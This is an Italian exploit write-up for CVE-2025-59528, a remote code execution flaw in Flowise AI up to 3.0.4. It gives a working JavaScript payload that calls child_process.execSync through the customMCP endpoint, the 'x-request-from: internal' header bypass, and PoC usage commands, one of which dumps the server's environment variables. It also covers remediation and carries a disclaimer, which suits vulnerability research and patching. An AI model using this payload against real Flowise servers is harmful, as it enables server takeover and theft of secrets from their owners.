
Exploit di Remote Code Execution (RCE) autenticata per Flowise AI versioni ≤ 3.0.4. Sfrutta una vulnerabilità nell'endpoint /api/v1/node-load-method/customMCP per eseguire comandi di sistema arbitrari tramite Node.js child_process.execSync(). Include lo script PoC completo e le fasi di remediation.
ID CVE: CVE-2025-59528
Software interessato: Flowise AI
Versioni vulnerabili: <= 3.0.4
Versione corretta: 3.0.5 e successive
Gravità: Critica
Autore: r3nsi15
Data: 2025
Le versioni di Flowise AI fino alla 3.0.4 inclusa consentono a un utente autenticato di ottenere Esecuzione Remota di Codice (RCE) sul server host inviando un payload JavaScript appositamente costruito all'endpoint /api/v1/node-load-method/customMCP.
Il metodo di load del nodo customMCP accetta input controllati dall'utente che vengono valutati lato server come JavaScript, senza un'adeguata sanitizzazione o sandboxing. Iniettando un payload che sfrutta child_process.execSync di Node.js, un attaccante può eseguire comandi arbitrari del sistema operativo con i privilegi del processo del server Flowise.
L'endpoint richiede inoltre la presenza dell'header x-request-from: internal.
| Endpoint | Metodo | Autenticazione richiesta | Scopo |
|---|---|---|---|
/api/v1/auth/login | POST | No | Autenticarsi e ottenere la sessione |
File: CVE-2025-59528_POC.py
requestspip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
Verificare l'esecuzione del codice:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
Recuperare le variabili d'ambiente del server:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Logged in
[+] Exploit sent
[+] Status: 200
L'exploit inietta la seguente espressione JavaScript nel campo mcpServerConfig:
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') — carica il modulo integrato di Node.js per l'esecuzione di processi.execSync('<command>') — esegue in modo sincrono il comando del sistema operativo fornito dall'attaccante.L'header x-request-from: internal viene inoltre aggiunto alla richiesta per superare un controllo di origine interna che altrimenti bloccherebbe la chiamata.
L'endpoint customMCP passa direttamente l'input fornito dall'utente a un contesto di valutazione JavaScript sul server, senza sanitizzazione o sandboxing. Combinato con l'accesso senza restrizioni ai moduli core di Node.js (in particolare child_process) tramite process.mainModule.require, ciò crea un vettore RCE banale da sfruttare. Il controllo dell'header x-request-from non fornisce alcuna reale frontiera di sicurezza, poiché non viene validato rispetto a una fonte attendibile.
Queste due vulnerabilità possono essere combinate per un percorso d'attacco RCE non autenticato contro istanze Flowise che eseguono versioni <= 3.0.4:
child_process, fs, ecc.) tramite un'adeguata sandbox (ad esempio vm2, contesti isolati o rimuovendo l'accesso a process.mainModule).x-request-from tramite un meccanismo lato server anziché un semplice controllo di stringa.Questo proof of concept è fornito esclusivamente a scopo educativo e di ricerca sulla sicurezza autorizzata. L'uso di questo script contro sistemi senza un'esplicita autorizzazione scritta è illegale e non etico. L'autore e i collaboratori non si assumono alcuna responsabilità per un uso improprio.
/api/v1/node-load-method/customMCP| POST |
| Sì (cookie di sessione) |
| Endpoint vulnerabile del metodo di load del nodo |
| Flag | Forma lunga | Obbligatorio | Descrizione |
|---|
-e | --email | Sì | Indirizzo email dell'utente autenticato |
-i | --url | Sì | URL base dell'istanza Flowise |
-p | --password | Sì | Password dell'utente autenticato |
-c | --cmd | Sì | Comando del sistema operativo da eseguire sul server |